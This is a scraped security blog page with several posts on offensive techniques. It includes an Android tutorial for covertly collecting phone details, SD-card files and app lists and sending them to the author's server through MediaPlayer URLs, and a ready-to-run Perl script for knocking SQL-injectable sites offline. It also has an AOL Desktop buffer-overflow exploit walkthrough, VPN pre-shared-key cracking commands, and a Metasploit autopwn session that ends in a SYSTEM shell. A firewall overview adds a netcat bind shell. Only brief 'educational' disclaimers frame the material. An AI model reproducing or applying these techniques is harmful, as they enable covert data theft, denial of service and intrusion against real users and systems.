Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts

Tuesday, May 1, 2012

How to: Create an Android app for stealing User Info



Hi
I would like to share some stuff about Android security , and I will try to give you some examples , how actually you can create an application without using or adding any permission including android.permission.INTERNET ,(normally it is added AndroidManifest.xml), if you want your app to use internet connection , With the functions below you will be able to send data to any server over the http to your apache log on your server , or posting to your php pages. First I will show you which information are available few which i know , maybe there are some more unknown info which is available. to be send

1.List of details about User,Device which can be taken,stolen and send to remote servers.
Normally to get some user and phone detailed you need to use READ_PHONE_STATE permission but if you just used the function below
you will actually have all the information about user and the phone( user phone number, ip, mac, phone country, telecom company, mac address, ip, imei)

public void getprop()
{


try {
String s="";


Process p = Runtime.getRuntime().exec("getprop");
BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));


while ((s = stdInput.readLine()) != null)
{
Log.i("User Information :","getprop"+s);


}
}
catch (IOException e) {


}


} 

2. If you know how to list installed apps you can use Package Manager for android and get the installed apps list on the phone.

3.You can also scan the sdcard and and other phone files and check for text files .

Listing available files

public void listfiles()
{


try {


File f = new File("ls "+Environment.getExternalStorageDirectory());
FileInputStream fileis = new FileInputStream(f);
BufferedReader buf = new BufferedReader(new InputStreamReader(fileis));
String readString = new String(); 


while((readString = buf.readLine())!= null)
{
Log.i("Directories and Files: ", readString);
}
}
catch (IOException e) {


}

reading a single file on sdcard

3.a Reading a single file

public void readsdcardfile()
{


try {


File f = new File(Environment.getExternalStorageDirectory()+"/filetoget.txt");
FileInputStream fileIS = new FileInputStream(f);
BufferedReader buf = new BufferedReader(new InputStreamReader(fileIS));
String readString = new String(); 


while((readString = buf.readLine())!= null)
{
Log.i("file: ", readString);
}
}
catch (IOException e) {


}




basically you can first list the for any text files and then read all the files

And Finally the magic part ok we got all the information but how do we send it without user's knowledge and harvest some data.

This trick is very simple to do , first create your strings about the information described above which you want to send than i will show you how to send them .
using this single code of line you will be able to connect to any http page and send your previously created Strings about phone and user details or text files

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/userDetails"+PhoneDetails+FileDetails+InstalledAppsDetails));

How Does this will send information
When you call MediaPlayer.create static function ,normally it is expected you to provide an video audio file link for streaming ,well you do not have to , you can just type any url it will still connect and even if the link is not working on the other side of the server you will have the information It will be stored in your Apache Server Logs ,because you have just requested a non existing file on the server with the user details and the other stuff in url.

You can also create a php page and try to post your stuff
php post page probably should work as below(i have tested this one but assuming it might just work)

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/getinfo.php?details&"+userDetails+PhoneDetails+FileDetails+InstalledAppsDetails));

The main trick of this tutorial was that without using any single permission in your AndroidManifest.xml file you will be still able to send data to any server
by just using a single line of code you just request on your website a non existing page and it will be logged on your Apache ServerLogs or if you have a php post file you can just print it on your page or store on your database.

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/mydetailstosendString));

Please use this wisely and for training purposes only and take it as an example of how actually android security is vulnerable.

Monday, April 30, 2012

SQLi DoS script for SQL injection vulnerability



Today I present a script before you which can DoS a SQL injection vulnerable site.
It is coded in perl. I hope you understand how it works.

Here it is:


#!/usr/bin/perl -w
#
# SQLidoom.pl
# By ..b14ck.. [((3]
# Just don't do something stupid with this tool, this is just for "education" and fun!
# I'm not responsable for the wrong use of this software.

use LWP::UserAgent;

my $agent = LWP::UserAgent->new;
#Use your custom agent
$agent->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$agent->timeout(5);
my $proxy="http://anonymouse.org/cgi-bin/anon-www.cgi/";
if ($ARGV[0]) {
start($ARGV[0]);
} else {
info();
}
#Start the attack
sub start {
print "\n[+] Target : " . $_[0] . "\n";
print "\n[+] Starting the attack\n[+] Info: Control+C to stop attack\n\n";
print "\n[+] Using proxy $proxy\n\n";
my $i=0;
while(1){
$SIG{INT} = \&stop;
$code = agent($proxy.$_[0]." and (select+benchmark(99999999999,0x73656c6563742b62656e63686d61726b2839393939393939393939393939392c504f5728393939393939393939393939393939393939392c39393939293b1f))--");
print "[".$i."] Try \n";
$i++;
unless($code->is_success){
print "[+] Website Down? - In $i petitions\n";
}
}
}
#Cancel the attack
sub stop {
print "\n[+] Stopping attack\n";
exit 0;
}
#Info
sub info {
print "\nAttack a SQLi vulnerable website with some \"Magic\" and take it down in a few seconds";
print "\nby ..0x141A1D58FF.. [((3]\n";
print "\nUsage: perl $0 <target>\n";
print "[info]\n";
print "<target> should be like this http://www.target.com/something.php?id=1 \n";
print "\nExample:";
print "\nperl $0 'http://www.target.com/something.php?id=1'\n\n";
exit 0;
}

sub agent {
return $agent->get($_[0]);
}

For learning purposes... :P

Exploit writing: A basic Idea.


Exploit Writing Made Easier With !pvefindaddr

A few notes before we begin, covering what this paper is about and what it isn’t about:
1. This paper is intended to demonstrate the efficiency of !pvefindaddr.
2. This paper will not explain the exploit till the end, if you want the full exploit go here: http://
www.exploit-db.com/exploits/16107/

Now let’s start!

Required software:
Immunity Debugger
!pvefindaddr
AOL Desktop v9.6

Required knowledge:
Understanding how buffer overflows work.
Exploiting techniques.
A programming language (I use python).
I’ve heard a lot of people complaining about how many apps they must use when writing
exploits, or how time consuming some tasks can be if they are not automated or when trying to
test multiple dll’s for SAFESEH or ASLR, that’s where !pvefindaddr comes in.

What is !pvefindaddr !?
Well in short terms !pvefindaddr is a PyCommand for Immunity Debugger made by
corelanc0d3r which can do almost everything (if not everything) that you would need when
building an exploit.
Here is some helpful information on how to install !pvefindaddr and some basic usage

Ok, let us get started !
Install AOL Desktop v9.6 (A quick note here, if the app doesn’t work properly in Immunity
Debugger you will have to close the debugger, issue CTRL+ALT+DELETE -> Processes and
stop all AOL related processes then run the app).
Now let’s make the exploit skeleton (I won’t remake the full exploit, if you want to check it out it’s
on the top of the page), it will contain two standard headers and between them our buffer, let’s
check it out:

****************************************
#!/usr/bin/python
# The First Header
hd1 = ("\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a"
"\x45\x3d\x32\x20\x50\x54\x53\x49\x5a\x45\x3d\x31\x30\x20\x46\x41"
"\x4d\x49\x4c\x59\x3d\x22\x53\x41\x4e\x53\x53\x45\x52\x49\x46\x22"
"\x20\x46\x41\x43\x45\x3d\x22\x41\x72\x69\x61\x6c\x22\x20\x4c\x41"
"\x4e\x47\x3d\x22\x30\x22\x3e\x3c\x41\x20\x48\x52\x45\x46\x3d\x22"
"\x68\x74\x74\x70\x3a\x2f\x2f")
# The Second Header
hd2 = ("\x22\x3e\x74\x65\x73\x74\x3c\x2f\x41\x3e\x3c\x55\x3e\x3c\x42\x52"
"\x3e\x0d\x0a\x3c\x2f\x55\x3e\x3c\x2f\x46\x4f\x4e\x54\x3e\x3c\x2f"
"\x48\x54\x4d\x4c\x3e\x0d\x0a")
payload='\x90'* 6000
exploit = hd1+payload+hd2
try:
file=open('exploit.rtx','w')
file.write(exploit)
file.close()
print 'File created, time to PEW PEW!\n'
except:
print 'Something went wrong!\n'
print 'Check if you have permisions to write in that folder, of if the folder exists!'
****************************************

Generate the file using the exploit and after that open it in AOL Desktop and as we can see we
could overwrite EIP with our ‘\x90’’s:



So what would be next ? Calculating the exact offset until EIP overwrite.

(NOTE: Before we go on, restart AOL and attach it again).
In our debugger we can either click on the PyCommands button and select from the list !
pvefindadrr and then enter the arguments or we can do this directly by entering !pvefindaddr
and the arguments in the command bar at the bottom of the debugger like this:



As you can see it said “check mspattern.txt” so we go in the Immunity Debugger folder and
open up mspatters.txt, copy the pattern in our exploit and regenerate the malicious file.
After opening the malicious file containing our pattern:



We can see that our EIP is 35784734 and we also can see that ESI points in our buffer, now in
order to determine the exact offset we will use another feature from !pvefindaddr. Normally with
metasploit we would try pattern_offset EIP now, well with !pvefindaddr we can actually get more
info, let’s try the findmsp function.


After it is done just open the Log Windows and as we can see, we have some nice information:



So it found the first characters from the patters in davclnt.dll then it checked register addresses,
we have the EIP overwite address beginning at 5384 and the register who points in to the
pattern with the instruction CALL DWORD[ESI+10] (if you check) at 5368 it even checked the
SEH chains to see if it finds the pattern there and we also have the “Walking stack” which if you
haven’t guessed by now it actually tells us when the ESP contains a pointer to our buffer at the position 4360.
This is a nice feature but we have one that does even better, !pvefindaddr also has a function
that runs a findmsp and after that based on the results and on the stack it acutally gives us
information about the type of exploit and how it should be made, let’s check it out.

!pvefindaddr suggest



Sweet huh ?
Now we have the exact offset before the EIP overwrite, we know that ESI points to our buffer
the next normal step would be to get the value of ESI into EIP with a JMP ESI, CALL ESI, etc.
now these are simple instructions we can find them but what if we want to find these instructions
without null bytes, from specific modules, etc. (NOTE: I’m not saying this can’t be done manual,
only saying that it will take more time and this way it’s much easier).
Let’s say we want to make this exploit using an universal address (like the original exploit),
searching for this instruction can take a lot of time, mostly because it’s a very common
instruction, but using !pvefindaddr we can actually search for every JMP ESI instruction from
some specific modules and some specific chatacteristics.
We will use !pvefindaddr to give us a list of all modules and their characteristics, once we have
done this we can view all the modules that the app uses and see which have SAFESEH, ASLR,
etc.:



Once we can see which modules we can use we can start searching for the specific instruction
using the command:

!pvefindaddr j -r ESI -n -o (this might take some time, go get a beer or something.)

This function searches for pointers that jump to a specific register (ESI in our case), the most
common use of this function is when dealing with direct EIP overwrite. The function will look for
any instructions like JMP ESI, CALL ESI combination from non-fixup and non-aslr modules also
the -n flag will not show pointers that contain null bytes and the -o flag will exclude the pointers
in the OS modules (We want to make it universal).
After a little search we find a nice intruction at 20C5CFC0 from aolusershell.dll, this one should
work perfect.
After we are done we can also use compare to check in order to compare some bytes (usually
our shellcode) from a file with some bytes in memory it also compares unicode expanded
instances, ok now we need to make our shellcode binary (only the shellcode), we can just give
the RAW output at Metasploit when making a payload and pipe it to a file like:
msfpayload windows/exec CMD=calc.exe R > shellcode
There is also a nice perl script that shows you how to do it on the !pvefindaddr wiki:


****************************************
my $shellcode="\xcc\xcc\xcc\xcc"; #paste your shellcode here
open(FILE,">c:\\temp\\shellcode.bin");
binmode FILE;
print FILE $shellcode;
close(FILE);
****************************************
We then run the whole exploit (with the shellcode included, without any breakpoints or anything), now that the app has crashed we compare it:

!pve finder compare C:\shellcode

After it is finished we can either view the Log Windows or open compare.txt from the Immunity
Debugger folder:



Now a quick review on what we managed to do in this tutorial:
- We have determined the exact offset before EIP gets overwritten and also a register that
points to our buffer.

- We have found our type of exploit, and some information on how to structure it
- Found out which modules have SAFESEH, ASLR or get rebased
- Found the instruction we needed avoiding these modules and the OS modules aswell
- Checked if our shellcode contains bad characters.
So as you can see we did all the above with just !pvefindaddr and we also managed to save a
good amount of time.

Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain



In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.

This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.

It looks like this:


$ sudo ike-scan 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
0 returned handshake; 1 returned notify

$ sudo ike-scan -A 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)

192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)


To save with some output:

$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key





Once you have you psk file to crack you're stuck with two options psk-crack and cain
psk-crack is fairly rudamentary to brute force:



$ psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)


Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=





$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations



To dictionary attack:



$ psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)


You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use Cain. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.








Friday, December 16, 2011

Getting Shell by Metasploit+NeXpose


In last post I had told u how to install Nexpose on Backtrack4RC2,today we will see how to use Nexpose through msf.
Metasploit has Nexpose plugin were we can login to Nexpose scan the Target System and import the Scan Results to Metasploit,,then msf will check for the exploits Matching those vulnerabilities and it automatically run those exploits if the target system is vulnerable then get us a Interactive Shell,Lets begin
1)Run the Nexpose scanner
2)start the metasploit
root@bt:/pentest/exploits/framework3# ./msfconsole
msf > db_driver sqlite3
msf > db_create
msf > load nexpose
msf > nexpose_connect kislay:gotroot@127.0.0.1
msf > nexpose_scan -x 192.168.1.4
msf > sessions -i 1


Above are the total commands run to get the shell by MSF and NeXpose, below is the working.
root@bt:/pentest/exploits/framework3# ./msfconsole
o                       8         o   o
8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8′ 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   ‘Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo’   8  `YooP8 `YooP’ 8YooP’ 8 `YooP’  8   8
..:..:..:…..:::..::…..::…..:8…..:..:…..::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ — –=[ 636 exploits - 319 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11120 updated 17 days ago (2010.11.24)
Warning: This copy of the Metasploit Framework was last updated 2 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
http://www.metasploit.com/redmine/projects/framework/wiki/Updating
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-]          The database and schema will be created automatically by
[-]          db_connect. If db_connect fails to create the database, create
[-]          it manually with your DBMS’s administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load nexpose
____             _     _ _____   _   _     __  __
|  _ \ __ _ _ __ (_) __| |___  | | \ | | ___\ \/ /_ __   ___  ___  ___
| |_) / _` | ‘_ \| |/ _` |  / /  |  \| |/ _ \\  /| ‘_ \ / _ \/ __|/ _ \
|  _ < (_| | |_) | | (_| | / /   | |\  |  __//  \| |_) | (_) \__ \  __/
|_| \_\__,_| .__/|_|\__,_|/_/    |_| \_|\___/_/\_\ .__/ \___/|___/\___|
|_|                                   |_|
[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > nexpose_connect kislay:gotroot@127.0.0.1
[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username kislay…
msf > nexpose_scan -x 192.168.1.4
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
[*] Launching an automated exploitation session
[*] Analysis completed in 26 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================
[*]   192.168.1.4:445  exploit/windows/smb/ms08_067_netapi  (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos, CVE-2008-4250, CVE-2008-4250, OSVDB-49243, MSB-MS08-067, NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*]   192.168.1.4:445  exploit/windows/smb/ms06_040_netapi  (CVE-2006-3439)
[*] ================================================================================
[*]
[*]
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.4:445…
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.4:445…
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution…
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution…
[*] (2/2 [0 sessions]): Waiting on 1 launched modules to finish execution…
[*] Meterpreter session 1 opened (192.168.1.7:18282 -> 192.168.1.4:1067) at Sat Dec 11 03:40:01 -0500 2010
[*] (2/2 [1 sessions]): Waiting on 1 launched modules to finish execution…
[*] (2/2 [1 sessions]): Waiting on 0 launched modules to finish execution…
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================
Active sessions
===============
Id  Type                   Information                            Connection                                 Via
–  —-                   ———–                            ———-                                 —
1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TESTBOX-85474D5  192.168.1.7:18282 -> 192.168.1.4:1067  exploit/windows/smb/ms08_067_netapi
[*] ================================================================================
msf > sessions -i 1
[*] Starting interaction with 1…
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 1040 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix  . :
IP Address. . . . . . . . . . . . : 192.168.1.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
C:\WINDOWS\system32>exit

Installing NeXpose Community Edition in BackTrack 4


What is NeXpose?
NeXpose is Vulnerability Scanner which Identifies vulnerabilities across networks, operating systems, databases, Web applications and a wide-range of system platforms through an integrated, intelligent scan engine, Rapid7 NeXpose prioritizes vulnerabilities using exploit risk scoring. As a result, NeXpose customers benefit from lower risk exposure and remediation costs.
Below are the Steps to install NeXpose in BackTrack4-RC2
1)Update the BT4
apt-get update
apt-get upgrade
2)Below are few Packages which required to run NeXpose
root@bt:~#apt-get install screen,libstdc++5,xvfb,xfonts-base,xfonts-75dpi,xserver-xorg,libxtst6,libxp6
3)now register and get the free Community Edition of NeXpose
4)u will get a mail regarding the License and Download instructions,in that download the below file
NeXpose for Linux – 32-bit edition
5)once u download go to the path and execute below command
chmod +x NeXposeSetup-Linux32.bin
./NeXposeSetup-Linux32.bin -console
next follow the instructions on the Screen it takes few minutes to configure and installing the scanner
6)once evry thing is done now using firefox use the below URL and login withe the given credentials
7)Once u login u will be asked to enter the License once done now you are ready to scan.





Saturday, October 8, 2011

Some information about Firewalls

What is a Firewall?

A system designed to prevent unauthorized access to or from a private network. Firewalls can be implemented in both hardware and software, or a combination of both. Firewalls are frequently used to prevent unauthorized Internet users from accessing private networks connected to the Internet, especially intranets. All messages entering or leaving the intranet pass through the firewall, which examines each message and blocks those that do not meet the specified security criteria.



Types of Firewall:


Network-Level Firewalls



Circuit-Level Firewalls



Application-Level Firewalls



Stateful Multi-level Firewalls



Placement of firewall is very important. There are firewall architectures:

Inbound and Outbound filtering
Permissive or Restrictive policies
Context-based firewalls
Zone-based firewall (zbf)



Firewall in linux:
firehog, iptables (unstable), firestarter

Firewall in windows (home)
blackice


Firewall policy should be reviwed every 90 days as a minimum.
Better: continuous process.
Electronic vaulting: periodic interval stroed on an offside location
remote journalling (data will be sent in real-time)
disk-shadowing (data will be written to multiple disk)
disk mirroring in local disk.


Circuit level gateway works at session level
NAT gateways are circuit-level gateways

Application-level firewall gateway will act as a proxy, and ask for credentials

To locate the firewall:
hping3 -S -c 2 -p 23 -n 172.16.16.100 //if not typing -c, it sends unlimited number of packet. -n is for numeric output

if there is a firewall, we will receive a message back from his address saying "ICMP packet filtered by <firewall_ip>)
if icmp messages are blocked, use tcp ! tcptraceroute, hping3-T, ...

Grabbing the banner
nc -vv 172.16.0.5 80
//connection succeeded !
HEAD /HTTP/1.0 // => we get the banner !

nc -vv mail.thehackernews.com 2

Create custom packets to get the answer:

nmap acknowlegment scan will tell us directly the open ports.
nmap -sA 172.16.16.100

In windows:
net use \\192.168.0.23\IPC$ 1234/u:administrator
to establish the tcp session to that host (same as "null"session commands)
in windows: net view \\172.16.90.35 //to see share folders

port redirection:

ex: if smtp blocked, send to a different port to another host, and use the host as a port redirection facility

windows tool:
foundstone Fpipe

Port redirection is detected by most good firewalls
there is also the less good winpipe

in linux, use Rinetd tool

Spoof address:
fping  -a 172.16.3.37 192.168.12.2 -C 8
to send a fragmented packet: -f packet

covert from inside:
covert channel by establishing a reverse shell connection with netcat.
nc -vvl 3030 -e /bin/bash
to open a netcat server on port 3030
then on the client :
nc -vv <ip address> 3030 //and you have its shell !

If there is a NAT device between client and server, however, it cannot be done.
Best option is socat

Covert from outside:
http tunneling
in windows: httpport
in linux, http daemon (redhat)
fpipe (ubuntu)

This is an overview of a firewall, it is not explained completely, it's just an idea to the people who work with firewalls.


 

The Hacker News